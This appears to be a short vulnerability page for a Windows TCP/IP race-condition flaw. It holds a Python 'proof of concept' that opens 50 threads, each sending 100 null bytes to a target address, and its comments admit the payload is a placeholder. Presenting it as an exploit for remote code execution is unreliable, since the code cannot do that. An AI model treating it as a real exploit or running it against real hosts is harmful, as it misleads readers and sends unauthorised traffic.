CVE-2026-33827 Windows TCP/IP竞态条件远程代码执行漏洞

# Proof of Concept for CVE-2026-33827 (Race Condition) # This script is a conceptual demonstration. # It sends crafted TCP packets to attempt to trigger the race condition. import socket import sys from threading import Thread def send_packet(target_ip, target_port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) # Attempting to connect to trigger TCP/IP handling s.connect((target_ip, target_port)) # Sending payload payload = b"\x00" * 100 # Placeholder for specific trigger pattern s.send(payload) s.close() except Exception as e: pass if __name__ == "__main__": TARGET = sys.argv[1] PORT = int(sys.argv[2]) print(f"[*] Sending packets to {TARGET}:{PORT} to trigger race condition...") # Spawn multiple threads to simulate concurrent execution threads = [] for _ in range(50): t = Thread(target=send_packet, args=(TARGET, PORT)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack simulation completed.")
